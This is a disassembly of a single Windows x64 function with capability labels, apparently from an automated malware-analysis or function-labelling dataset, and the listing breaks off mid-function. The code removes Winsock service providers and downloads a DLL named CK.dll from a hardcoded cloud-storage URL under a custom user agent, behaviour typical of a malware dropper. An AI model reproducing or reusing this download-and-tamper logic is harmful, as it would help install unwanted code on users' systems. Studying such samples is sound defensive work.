Function at 0x140030c30
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
mov rax, qword [0x14008d060]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
lea rax, [0x14008fd28]
mov qword [0x1400901d0], rax
mov dword [0x1400901d8], 1
mov rax, qword [0x14008fd60]
lea rcx, [0x1400901c0]
call rax
xor r12d, r12d
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r12b
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140030cb7
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140003fd0
nop
lea rax, [rbp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
xor r8d, r8d
lea rdx, [0x140079b27]
lea rcx, [rbp + 0x90]
call fcn.140003fd0
nop
lea rax, [rbp + 0x50]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov rsi, qword [rbp + 0x80]
lea r14, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r14, qword [rbp + 0x70]
movabs r15, 0x7fffffffffffffff
cmp rsi, 0x10
jae 0x140030d58
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], 0xf
jmp 0x140030dc8
mov rbx, rsi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140030da2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140032552
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x140032558
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140030db1
test rcx, rcx
je 0x140030dae
call fcn.14003d5bc
jmp 0x140030db1
mov rax, r12
mov qword [rbp + 0x50], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], 0xf
mov r8d, 5
lea rdx, [0x140081a4c]
lea rcx, [rbp + 0xf0]
call fcn.140003fd0
nop
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0xd0]
call fcn.140039780
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140030e30
mov rax, qword [rax]
cmp rcx, 3
jne 0x140030e59
cmp byte [rax], 0x31
jne 0x140030e4c
cmp byte [rax + 1], 0x30
jne 0x140030e4c
cmp byte [rax + 2], 0x30
jne 0x140030e4c
mov eax, r12d
jmp 0x140030e51
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140030e59
xor bl, bl
jmp 0x140030e5b
mov bl, 1
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140030e9c
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030e97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003255e
call fcn.14003d588
test bl, bl
je 0x1400310a0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov r8d, 4
lea rdx, [0x140081a54]
lea rcx, [rsp + 0x60]
call fcn.140003fd0
nop
lea rax, [rbp + 0x90]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
xor r8d, r8d
lea rdx, [0x140079b35]
lea rcx, [rbp + 0x90]
call fcn.140003fd0
nop
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140030f59
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], 0xf
jmp 0x140030fc9
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140030fa3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140032564
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x14003256a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140030fb2
test rcx, rcx
je 0x140030faf
call fcn.14003d5bc
jmp 0x140030fb2
mov rax, r12
mov qword [rbp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], 0xf
mov r8d, 7
lea rdx, [0x140081a60]
lea rcx, [rbp + 0xf0]
call fcn.140003fd0
nop
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x130]
call fcn.140039780
nop
lea r8, [rsp + 0x60]
mov rdx, rax
call fcn.1400381b0
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140031070
inc rdx
mov rcx, qword [rbp + 0x70]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14003106b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032528
call fcn.14003d588
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.14003d220
lea r11, [rsp + 0x8d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov esi, r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.14004d62c
mov ebx, r12d
call fcn.14004d600
and eax, 1
mov ecx, ebx
shl eax, cl
or esi, eax
inc ebx
cmp ebx, 0x1f
jl 0x1400310b3
mov eax, 0x6b5fc9b7
imul esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x989681
sub esi, eax
lea edx, [rsi + 0x989680]
lea rcx, [rbp + 0xf0]
call fcn.140030140
nop
lea rax, [rbp + 0x10]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x10]
call fcn.140035b30
mov rbx, rax
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov r8d, 9
lea rdx, [0x140081a68]
lea rcx, [rbp + 0x90]
call fcn.140003fd0
nop
mov r9, rbx
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x110]
call fcn.14003ab20
nop
mov rax, qword [0x14008fd58]
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
lea rcx, [0x140081a74]
call rax
inc rdi
cmp byte [rax + rdi], 0
jne 0x140031180
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140003fd0
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0xd0]
lea rcx, [0x14008fd70]
call fcn.1400390c0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400311f0
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400311eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032600
call fcn.14003d588
lea rax, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
xor r8d, r8d
lea rdx, [0x140079b36]
lea rcx, [rsp + 0x60]
call fcn.140003fd0
nop
lea rax, [rbp + 0x50]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140031265
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], 0xf
jmp 0x1400312d5
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400312af
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140032570
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x140032576
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400312be
test rcx, rcx
je 0x1400312bb
call fcn.14003d5bc
jmp 0x1400312be
mov rax, r12
mov qword [rbp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 0xf
mov r8d, 5
lea rdx, [0x140081a7c]
lea rcx, [rbp + 0xb0]
call fcn.140003fd0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
call fcn.140039780
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14003133b
mov rax, qword [rax]
cmp rcx, 3
jne 0x140031364
cmp byte [rax], 0x31
jne 0x140031357
cmp byte [rax + 1], 0x30
jne 0x140031357
cmp byte [rax + 2], 0x30
jne 0x140031357
mov eax, r12d
jmp 0x14003135c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140031364
xor bl, bl
jmp 0x140031366
mov bl, 1
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400313a7
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400313a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003257c
call fcn.14003d588
test bl, bl
je 0x14003187b
lea rax, [rbp - 0x50]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov r8d, 4
lea rdx, [0x140081a84]
lea rcx, [rbp - 0x50]
call fcn.140003fd0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
xor r8d, r8d
lea rdx, [0x140079b37]
lea rcx, [rsp + 0x60]
call fcn.140003fd0
nop
lea rax, [rbp + 0x50]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140031454
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], 0xf
jmp 0x1400314c4
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14003149e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140032582
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x140032588
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400314ad
test rcx, rcx
je 0x1400314aa
call fcn.14003d5bc
jmp 0x1400314ad
mov rax, r12
mov qword [rbp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x60], rdi
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov r8d, 7
lea rdx, [0x140081a90]
lea rcx, [rbp - 0x10]
call fcn.140003fd0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x130]
call fcn.140039780
mov r14, rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
xor r8d, r8d
lea rdx, [0x140079b46]
lea rcx, [rbp - 0x30]
call fcn.140003fd0
nop
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140031593
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc8], 0xf
jmp 0x140031609
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400315dd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003258e
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x140032594
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400315ec
test rcx, rcx
je 0x1400315e9
call fcn.14003d5bc
jmp 0x1400315ec
mov rax, r12
mov qword [rbp + 0xb0], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xc0], rdi
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov r8d, 7
lea rdx, [0x140081a98]
lea rcx, [rbp - 0x70]
call fcn.140003fd0
nop
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb0]
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0xd0]
call fcn.140039780
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 2
jb 0x140031696
lea rax, [rdx + 2]
mov qword [rcx + 0x10], rax
mov r8, rcx
cmp r9, 0x10
jb 0x140031682
mov r8, qword [rcx]
movzx eax, word [0x14007fbac]
mov word [r8 + rdx], ax
mov byte [r8 + rdx + 2], 0
jmp 0x1400316b3
mov qword [rsp + 0x20], 2
lea r9, [0x14007fbac]
mov edx, 2
call fcn.140036b20
mov rcx, rax
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov r9, r14
lea r8, [rbp + 0x90]
lea rcx, [rbp + 0x30]
call fcn.140037100
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x30]
call fcn.1400381b0
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14003173b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031735
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003259a
call fcn.14003d588
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14003177c
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325a0
call fcn.14003d588
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1400317d7
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400317d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325a6
call fcn.14003d588
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140031818
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031813
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032606
call fcn.14003d588
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140031032
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032522
call fcn.14003d588
jmp 0x140031032
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x78], rax
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
xor r8d, r8d
lea rdx, [0x140079b47]
lea rcx, [rbp + 0xd0]
call fcn.140003fd0
nop
lea rax, [rbp + 0x50]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1400318fa
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], 0xf
jmp 0x14003196a
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140031944
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400325ac
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x1400325b2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140031953
test rcx, rcx
je 0x140031950
call fcn.14003d5bc
jmp 0x140031953
mov rax, r12
mov qword [rbp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x60], rdi
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov r8d, 9
lea rdx, [0x140081aa0]
lea rcx, [rbp - 0x50]
call fcn.140003fd0
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x170]
call fcn.140039780
nop
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rdx, qword [rbp + 0x170]
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
setae byte [rsp + 0x40]
cmovae rcx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
cmp r8, qword [rbp + 0x180]
jne 0x140031a02
call fcn.14003fdf0
test eax, eax
je 0x140031a16
lea rdx, [0x140079b57]
lea rcx, [0x140081aac]
call qword [0x14008fd58]
lea rax, [rbp - 0x70]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
xor r8d, r8d
lea rdx, [0x140079b61]
lea rcx, [rbp - 0x70]
call fcn.140003fd0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140031a8c
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], 0xf
jmp 0x140031afe
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140031ad6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400325b8
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x1400325be
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140031ae5
test rcx, rcx
je 0x140031ae2
call fcn.14003d5bc
jmp 0x140031ae5
mov rax, r12
mov qword [rsp + 0x60], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov r8d, 0xe
lea rdx, str.ShengYuMiaoShu
lea rcx, [rbp - 0x30]
call fcn.140003fd0
nop
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x190]
call fcn.140039780
nop
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
xor r8d, r8d
lea rdx, [0x140079b62]
lea rcx, [rbp + 0xb0]
call fcn.140003fd0
nop
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
xor r8d, r8d
lea rdx, [0x140079b63]
lea rcx, [rbp + 0x50]
call fcn.140003fd0
nop
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov r8d, 3
lea rdx, [0x14007fbbc]
lea rcx, [rbp + 0x150]
call fcn.140003fd0
nop
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov r8d, 4
lea rdx, str..dll
lea rcx, [rbp + 0x90]
call fcn.140003fd0
nop
mov edx, 6
lea rcx, [rbp + 0x130]
call fcn.140030900
mov rbx, rax
lea rax, [rbp + 0xb0]
cmp rax, rbx
je 0x140031ca1
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140031c7d
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031c78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325c4
call fcn.14003d588
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140031ce2
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031cdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325c4
call fcn.14003d588
mov edx, 4
lea rcx, [rbp + 0x130]
call fcn.140030900
mov rbx, rax
lea rax, [rbp + 0x50]
cmp rax, rbx
je 0x140031d58
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140031d3a
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325ca
call fcn.14003d588
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140031d99
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031d94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325ca
call fcn.14003d588
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x150]
call fcn.140035a90
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x150]
call fcn.140035a90
mov dword [rsp + 0x48], r12d
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSCEnumProtocols]
cmp eax, 0xffffffff
jne 0x140031df0
cmp dword [rsp + 0x58], 0x2747
je 0x140031df0
mov rsi, r12
mov r8d, dword [rbp - 0x80]
jmp 0x140031e1a
mov edx, dword [rsp + 0x48]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSCEnumProtocols]
mov r8d, eax
mov ecx, r12d
test r8d, r8d
jle 0x140031ebe
mov r9, qword [0x14008dc78]
mov r10, qword [0x14008dc70]
nop dword [rax]
nop dword [rax + rax]
movsxd rdx, ecx
imul rax, rdx, 0x274
cmp r10, qword [rax + rsi + 0x14]
jne 0x140031e5c
cmp r9, qword [rax + rsi + 0x1c]
je 0x14003210f
inc ecx
cmp ecx, r8d
jl 0x140031e40
mov r15d, dword [rbp - 0x80]
mov edi, r12d
movsxd r14, r8d
test r8d, r8d
jle 0x140031eac
lea rbx, [rsi + 0x2c]
cmp dword [rbx - 4], 1
jle 0x140031e9d
cmp dword [rbx], r15d
jne 0x140031e9d
movsxd rax, edi
imul rcx, rax, 0x274
add rcx, 0x14
add rcx, rsi
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSCDeinstallProvider]
inc edi
add rbx, 0x274
sub r14, 1
jne 0x140031e76
lea rdx, [rsp + 0x50]
lea rcx, [0x14008dc70]
call qword [sym.imp.WS2_32.dll_WSCDeinstallProvider]
mov ecx, 0x1400000
call fcn.14003d738
mov dword [rbp - 0x80], r12d
mov ecx, 0x1400000
call fcn.14003d738
mov r15, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [0x140081ad0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
mov dword [rsp + 0x48], 1
mov esi, 1
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x14003252e
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__20221129_1315489283.cos.ap_shanghai.myqcloud.com_CK_CK.dll
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x140031fc0
mov edi, ebx
cmp dword [rsp + 0x48], ebx
jbe 0x140031fb7
cmp edi, 0x1400000
jae 0x140031fb5
lea r9, [rsp + 0x48]
mov r8d, 0x3ff
lea rdx, [rbp + 0x3c0]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [rsp + 0x48]
mov r8d, ebx
movsxd rcx, edi
add rcx, r15
lea rdx, [rbp + 0x3c0]
call fcn.14003f500
add edi, ebx
mov esi, edi
test ebx, ebx
jne 0x140031f71
xor ebx, ebx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, 0x1000
jb 0x14003252e
